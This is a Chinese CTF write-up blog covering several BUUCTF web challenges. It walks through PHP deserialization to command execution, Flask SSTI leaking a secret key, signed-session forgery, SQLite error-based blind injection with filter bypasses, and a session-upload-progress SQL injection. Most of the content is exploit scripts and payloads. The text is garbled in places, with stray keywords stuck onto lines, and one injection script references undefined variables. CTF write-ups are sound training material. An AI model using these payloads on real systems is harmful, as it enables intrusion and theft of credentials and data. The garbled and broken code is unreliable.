buu刷題記錄php
[FBCTF2019]Eventpython
[HarekazeCTF2019]Sqlite Votingweb
[PASECA2019]honey_shopshell
昨天請學弟們吃了頓飯,roar一直在摸(一直沒出),刷兩道buu水一下博客吧。很久沒寫博客了數據庫
打開界面是帶帶大師兄,每隔一段時間會自動刷新一次,並顯示出最新的時間。抓包後發現是post了兩個參數的值:func和p,【一個體重九十多公斤(不是)】應該是調用了call_user_func函數,嘗試去執行一些系統命令,發現會回顯hacker因此應該是被過濾了。可是咱們能夠用func=file_get_contents&p=index.php去讀取index.php的內容以下:flask
1 <?php 2 $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); 3 function gettime($func, $p) { 4 $result = call_user_func($func, $p); 5 $a= gettype($result); 6 if ($a == "string") { 7 return $result; 8 } else {return "";} 9 } 10 class Test { 11 var $p = "Y-m-d h:i:s a"; 12 var $func = "date"; 13 function __destruct() { 14 if ($this->func != "") { 15 echo gettime($this->func, $this->p); 16 } 17 } 18 } 19 $func = $_REQUEST["func"]; 20 $p = $_REQUEST["p"]; 21 22 if ($func != null) { 23 $func = strtolower($func); 24 if (!in_array($func,$disable_fun)) { 25 echo gettime($func, $p); 26 }else { 27 die("Hacker..."); 28 } 29 }
能夠看到出題人使用黑名單過濾了一大堆危險函數,感受已是無路可走了。。。實際上可使用構造反序列化的手段,使func=unserialize&p=payload,下面貼出生成payload的exp:cookie
1 <?php 2 3 $disable_fun = array("exec", "shell_exec", "system", "passthru", "proc_open", "show_source", "phpinfo", "popen", "dl", "eval", "proc_terminate", "touch", "escapeshellcmd", "escapeshellarg", "assert", "substr_replace", "call_user_func_array", "call_user_func", "array_filter", "array_walk", "array_map", "registregister_shutdown_function", "register_tick_function", "filter_var", "filter_var_array", "uasort", "uksort", "array_reduce", "array_walk", "array_walk_recursive", "pcntl_exec", "fopen", "fwrite", "file_put_contents"); 4 function gettime($func, $p) 5 { 6 $result = call_user_func($func, $p); 7 $a = gettype($result); 8 if ($a == "string") { 9 return $result; 10 } else { 11 return ""; 12 } 13 } 14 15 class Test 16 { 17 var $p = "Y-m-d h:i:s a"; 18 var $func = "date"; 19 20 function __destruct() 21 { 22 if ($this->func != "") { 23 echo gettime($this->func, $this->p); 24 } 25 } 26 } 27 28 /*$func = $_REQUEST["func"]; 29 $p = $_REQUEST["p"]; 30 31 if ($func != null) { 32 $func = strtolower($func); 33 if (!in_array($func, $disable_fun)) { 34 echo gettime($func, $p); 35 } else { 36 die("Hacker..."); 37 } 38 }*/ 39 $a = new Test(); 40 /*$a ->p = 'ls';*/ 41 /*$a -> p = 'ls /';*/ 42 $a->p ="find / -name 'flag*'"; 43 $a ->func = 'system'; 44 print_r(urlencode(serialize($a))); 45 46 47 ?>
func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A22%3A%22cat+%2Ftmp%2Fflagoefiu4r93%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D
flag{89e676b6-cf76-4184-9f0d-12f5b9682804}
gg
一番探查看出來存在ssti,post傳值的過程當中:
event_name=2333&event_address=123&event_important=__class__(或者用__dict__)存在回顯,因而咱們能肯定存在ssti
event_name=2333&event_address=123&event_important=__class__.__init__.__globals__
event_important處存在ssti,因而咱們查看配置信息:(此題模板是flask)
event_name=2333&event_address=123&event_important=__class__.__init__.__globals__[app].config
獲得重要信息:'SECRET_KEY': 'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'
拿到secretkey以後進行僞造,將用戶名改爲admin就好了、flask原理:json->zlib->base64後的源字符串 . 時間戳 . hmac簽名信息
貼腳本:
1 from flask import Flask 2 from flask.sessions import SecureCookieSessionInterface 3 4 app = Flask(__name__) 5 app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y' 6 7 session_serializer = SecureCookieSessionInterface().get_signing_serializer(app) 8 9 @app.route('/') 10 def index(): 11 print(session_serializer.dumps("admin")) 12 13 index()
flag{63a5dfbd-241a-4a52-bbbe-7fc46c058dae}
這個題的出題人有點可怕。。。。
打開是一個選擇你喜歡的小動物的界面:
下面有兩個連接,第一個給出的源碼以下:
1 <?php 2 error_reporting(0); 3 4 if (isset($_GET['source'])) { 5 show_source(__FILE__); 6 exit(); 7 } 8 9 function is_valid($str) { 10 $banword = [ 11 // dangerous chars 12 // " % ' * + / < = > \ _ ` ~ - 13 "[\"%'*+\\/<=>\\\\_`~-]", 14 // whitespace chars 15 '\s', 16 // dangerous functions 17 'blob', 'load_extension', 'char', 'unicode', 18 '(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp', 19 'in', 'limit', 'order', 'union', 'join' 20 ]; 21 $regexp = '/' . implode('|', $banword) . '/i'; 22 if (preg_match($regexp, $str)) { 23 return false; 24 } 25 return true; 26 } 27 28 header("Content-Type: text/json; charset=utf-8"); 29 30 // check user input 31 if (!isset($_POST['id']) || empty($_POST['id'])) { 32 die(json_encode(['error' => 'You must specify vote id'])); 33 } 34 $id = $_POST['id']; 35 if (!is_valid($id)) { 36 die(json_encode(['error' => 'Vote id contains dangerous chars'])); 37 } 38 39 // update database 40 $pdo = new PDO('sqlite:../db/vote.db'); 41 $res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}"); 42 if ($res === false) { 43 die(json_encode(['error' => 'An error occurred while updating database'])); 44 } 45 46 // succeeded! 47 echo json_encode([ 48 'message' => 'Thank you for your vote! The result will be published after the CTF finished.' 49 ]);
另外一個連接提供了sql代碼:
1 DROP TABLE IF EXISTS `vote`; 2 CREATE TABLE `vote` ( 3 `id` INTEGER PRIMARY KEY AUTOINCREMENT, 4 `name` TEXT NOT NULL, 5 `count` INTEGER 6 ); 7 INSERT INTO `vote` (`name`, `count`) VALUES 8 ('dog', 0), 9 ('cat', 0), 10 ('zebra', 0), 11 ('koala', 0); 12 13 DROP TABLE IF EXISTS `flag`; 14 CREATE TABLE `flag` ( 15 `flag` TEXT NOT NULL 16 ); 17 INSERT INTO `flag` VALUES ('HarekazeCTF{<redacted>}');
在vote.php界面中咱們能夠上傳id參數,從題目咱們能夠看出後臺的數據庫是sqlite,能夠嘗試進行sqli注入。sqlite與通常注入沒什麼不一樣的地方,只要用到隱藏表格就行。
可是咱們在vote.php界面看到的代碼裏面有黑名單,過濾了" % ' * + / < = > \ _ ` ~ -這些字符(不得不說老外的題目還寫在註釋裏真的很貼心了)以及'blob', 'load_extension', 'char', 'unicode', 18 '(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp', 19 'in', 'limit', 'order', 'union', 'join' 這些危險字符
根據回顯咱們應該能夠進行bool盲注,可是 ', ", char被過濾了以後咱們沒法直接進行字符判斷或者ascii🐎判斷。這個時候我已經裂開了
看了做者給的exp,整我的都裂開了,刷新了個人三觀。
首先咱們進行報錯語句的構造:在sqlite中,abs(-9223372036854775808)會形成溢出而且報錯,這裏咱們用hex去讀取庫裏面的字段。
先考慮對 flag 16 進制長度的判斷,假設它的長度爲 x,y 表示 2 的 n 次方,那麼 x&y 就能表現出 x 二進制爲 1 的位置,將這些 y 再進行或運算就能夠獲得完整的 x 的二進制,也就獲得了 flag 的長度,而 1<<n 恰能夠表示 2 的 n 次方
(&是按位與運算符:參與運算的兩個值,若是兩個相應位都爲1,則該位的結果爲1,不然爲0;|按位或運算符:只要對應的二個二進位有一個爲1時,結果位就爲1。)
判斷長度的 payload : abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)
由於空格被過濾了,因此咱們用括號給括起來繞過空格。case()when()then()else()進行判斷。若是前面判斷爲真則出現系統的錯誤,若是爲假則觸發else,出現abs溢出的報錯。
正經exp:
import requests url = "http://1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php" l = 0 for n in range(16): payload = f'abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)' data = { 'id' : payload } r = requests.post(url=url, data=data) print(r.text) if 'occurred' in r.text: l = l|1<<n print(l)
咱們得到了flag字符串16進制的長度爲84,接下來要開始獲取內容
可是想使用hex咱們還須要構造ABCDE這五個字符,由於在數據庫中有以前給的一些小動物名的英文,利用以下語句分別構造出 ABCDEF
,這樣十六進制的全部字符均可以使用了,而且使用 trim(0,0)
來表示空字符
# hex(b'zebra') = 7A65627261 # 除去 12567 就是 A ,其他同理 A = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)' C = 'trim(hex(typeof(.1)),12567)' D = 'trim(hex(0xffffffffffffffff),123)' E = 'trim(hex(0.1),1230)' F = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)' # hex(b'koala') = 6B6F616C61 # 除去 16CF 就是 B B = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{C}||{F})'
(我已經給出題人的思想跪了),而後逐字符進行爆破,已經知道 flag 格式爲 flag{} ,hex(b'flag{')==666C61677B ,在其後面逐位添加十六進制字符,構成 paylaod再利用 replace(length(replace(flag,payload,''))),84,'') 這個語句進行判斷。若是 flag 不包含 payload ,那麼獲得的 length 必爲 84 ,最外面的 replace 將返回 false ,經過 case when then else 構造 abs 參數爲 0 ,它不報錯;若是 flag 包含 payload ,那麼 replace(flag, payload, '') 將 flag 中的 payload 替換爲空,獲得的 length 必不爲 84 ,最外面的 replace 將返回 true ,經過 case when then else 構造 abs 參數爲 0x8000000000000000 令其報錯以上就能夠根據報錯爆破出 flag,最後附上出題人腳本。
1 # coding: utf-8 2 import binascii 3 import requests 4 URL = 'http://1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php' 5 6 7 l = 0 8 i = 0 9 for j in range(16): 10 r = requests.post(URL, data={ 11 'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)' 12 }) 13 if b'An error occurred' in r.content: 14 l |= 1 << j 15 print('[+] length:', l) 16 17 18 table = {} 19 table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)' 20 table['C'] = 'trim(hex(typeof(.1)),12567)' 21 table['D'] = 'trim(hex(0xffffffffffffffff),123)' 22 table['E'] = 'trim(hex(0.1),1230)' 23 table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)' 24 table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})' 25 26 27 res = binascii.hexlify(b'flag{').decode().upper() 28 for i in range(len(res), l): 29 for x in '0123456789ABCDEF': 30 t = '||'.join(c if c in '0123456789' else table[c] for c in res + x) 31 r = requests.post(URL, data={ 32 'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)' 33 }) 34 if b'An error occurred' in r.content: 35 res += x 36 break 37 print(f'[+] flag ({i}/{l}): {res}') 38 i += 1 39 print('[+] flag:', binascii.unhexlify(res).decode())
flag{05812dea-073b-4e98-b6eb-6e9dee3ae432}
參考:https://xz.aliyun.com/t/6628
源碼泄露得到source.zip
打開後看到找到login.php:
1 <?php 2 3 !isset($_SESSION) AND die("Direct access on this script is not allowed!"); 4 include 'db.php'; 5 6 $sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";'; 7 $result = $con->query($sql); 8 9 function auth($user) 10 { 11 $_SESSION['username'] = $user; 12 return True; 13 } 14 15 ($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!')); 16 17 ?>
開頭就判斷是否存在session。可是咱們沒有找到session_start(),這裏要構造一個包含PHP_SESSION_UPLOAD_PROGRESS的POST請求。就會自動進行session_start(),從而繞過session的判斷,進行後面的sqli。
exp:
1 import requests 2 url='http://ccfc737f-8640-495a-9e24-3aac2fc4267d.node3.buuoj.cn/templates/login.php' 4 data={"PHP_SESSION_UPLOAD_PROGRESS":"wdnmd"} 5 cookies={"PHPSESSID":"wdnmd"} 6 flag = '' 7 for x in range(1,50): 8 for y in range(30,130): 9 params={"username":'test" or (ascii(substr((select group_concat(secret) from flag_tbl),'+str(x)+',1))='+str(y)+')#', 10 "password":"test"} 11 a=requests.post(url=url,files=files,data=data,cookies=cookies,params=params).text 12 if 'meta' in a: 13 flag+=chr(i) 14 print(flag) 15 break
flag{349ca000-5aa9-48cb-8ba7-35d71fdea751}
考點:flask的session僞造
打開以後咱們點擊圖片發現會進行下載,於嘗試文件包含:GET /download?image=../../etc/passwd HTTP/1.1,發現包含成功。因而咱們去嘗試讀取當前進程,也就是python的環境變量:../../proc/self/environ,得到secret_key:aPbDtzNi3PSlEeKbqFwIh3vhURYzeixXrj4xlmCJ
拿到session以後去用腳本解出,腳本以下:
1 #!/usr/bin/env python3 2 import sys 3 import zlib 4 from base64 import b64decode 5 from flask.sessions import session_json_serializer 6 from itsdangerous import base64_decode 7 8 9 def decryption(payload): 10 payload, sig = payload.rsplit(b'.', 1) 11 payload, timestamp = payload.rsplit(b'.', 1) 12 13 decompress = False 14 if payload.startswith(b'.'): 15 payload = payload[1:] 16 decompress = True 17 18 try: 19 payload = base64_decode(payload) 20 except Exception as e: 21 raise Exception('Could not base64 decode the payload because of ' 22 'an exception') 23 24 if decompress: 25 try: 26 payload = zlib.decompress(payload) 27 except Exception as e: 28 raise Exception('Could not zlib decompress the payload before ' 29 'decoding the payload') 30 31 return session_json_serializer.loads(payload) 32 33 34 if __name__ == '__main__': 35 print(decryption("eyJiYWxhbmNlIjoxMzM2LCJwdXJjaGFzZXMiOltdfQ.YEjnjA.jM7_GZwCHQgpMvImwVOWTqIdSAI".encode()))
解得session的內容是{'balance': 1336, 'purchases': []},咱們將balance改成大於1336就能buy flag。使用加密腳本僞造session:
1 #!/usr/bin/env python3 2 """ Flask Session Cookie Decoder/Encoder """ 3 __author__ = 'Wilson Sumanang, Alexandre ZANNI' 4 5 # standard imports 6 import sys 7 import zlib 8 from itsdangerous import base64_decode 9 import ast 10 11 # Abstract Base Classes (PEP 3119) 12 if sys.version_info[0] < 3: # < 3.0 13 raise Exception('Must be using at least Python 3') 14 elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4 15 from abc import ABCMeta, abstractmethod 16 else: # > 3.4 17 from abc import ABC, abstractmethod 18 19 # Lib for argument parsing 20 import argparse 21 22 # external Imports 23 from flask.sessions import SecureCookieSessionInterface 24 25 26 class MockApp(object): 27 28 def __init__(self, secret_key): 29 self.secret_key = secret_key 30 31 32 if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4 33 class FSCM(metaclass=ABCMeta): 34 def encode(secret_key, session_cookie_structure): 35 """ Encode a Flask session cookie """ 36 try: 37 app = MockApp(secret_key) 38 39 session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) 40 si = SecureCookieSessionInterface() 41 s = si.get_signing_serializer(app) 42 43 return s.dumps(session_cookie_structure) 44 except Exception as e: 45 return "[Encoding error] {}".format(e) 46 raise e 47 48 def decode(session_cookie_value, secret_key=None): 49 """ Decode a Flask cookie """ 50 try: 51 if (secret_key == None): 52 compressed = False 53 payload = session_cookie_value 54 55 if payload.startswith('.'): 56 compressed = True 57 payload = payload[1:] 58 59 data = payload.split(".")[0] 60 61 data = base64_decode(data) 62 if compressed: 63 data = zlib.decompress(data) 64 65 return data 66 else: 67 app = MockApp(secret_key) 68 69 si = SecureCookieSessionInterface() 70 s = si.get_signing_serializer(app) 71 72 return s.loads(session_cookie_value) 73 except Exception as e: 74 return "[Decoding error] {}".format(e) 75 raise e 76 else: # > 3.4 77 class FSCM(ABC): 78 def encode(secret_key, session_cookie_structure): 79 """ Encode a Flask session cookie """ 80 try: 81 app = MockApp(secret_key) 82 83 session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) 84 si = SecureCookieSessionInterface() 85 s = si.get_signing_serializer(app) 86 87 return s.dumps(session_cookie_structure) 88 except Exception as e: 89 return "[Encoding error] {}".format(e) 90 raise e 91 92 def decode(session_cookie_value, secret_key=None): 93 """ Decode a Flask cookie """ 94 try: 95 if (secret_key == None): 96 compressed = False 97 payload = session_cookie_value 98 99 if payload.startswith('.'): 100 compressed = True 101 payload = payload[1:] 102 103 data = payload.split(".")[0] 104 105 data = base64_decode(data) 106 if compressed: 107 data = zlib.decompress(data) 108 109 return data 110 else: 111 app = MockApp(secret_key) 112 113 si = SecureCookieSessionInterface() 114 s = si.get_signing_serializer(app) 115 116 return s.loads(session_cookie_value) 117 except Exception as e: 118 return "[Decoding error] {}".format(e) 119 raise e 120 121 if __name__ == "__main__": 122 # Args are only relevant for __main__ usage 123 124 ## Description for help 125 parser = argparse.ArgumentParser( 126 description='Flask Session Cookie Decoder/Encoder', 127 epilog="Author : Wilson Sumanang, Alexandre ZANNI") 128 129 ## prepare sub commands 130 subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand') 131 132 ## create the parser for the encode command 133 parser_encode = subparsers.add_parser('encode', help='encode') 134 parser_encode.add_argument('-s', '--secret-key', metavar='<string>', 135 help='Secret key', required=True) 136 parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>', 137 help='Session cookie structure', required=True) 138 139 ## create the parser for the decode command 140 parser_decode = subparsers.add_parser('decode', help='decode') 141 parser_decode.add_argument('-s', '--secret-key', metavar='<string>', 142 help='Secret key', required=False) 143 parser_decode.add_argument('-c', '--cookie-value', metavar='<string>', 144 help='Session cookie value', required=True) 145 146 ## get args 147 args = parser.parse_args() 148 149 ## find the option chosen 150 if (args.subcommand == 'encode'): 151 if (args.secret_key is not None and args.cookie_structure is not None): 152 print(FSCM.encode(args.secret_key, args.cookie_structure)) 153 elif (args.subcommand == 'decode'): 154 if (args.secret_key is not None and args.cookie_value is not None): 155 print(FSCM.decode(args.cookie_value, args.secret_key)) 156 elif (args.cookie_value is not None): 157 print(FSCM.decode(args.cookie_value)) 158 159 160 161 #{'balance': 1336, 'purchases': []}[PASECA2019]honey_shop
用法:
懶得去kali配環境了,在win上面運行的。最後修改session值就能得到flag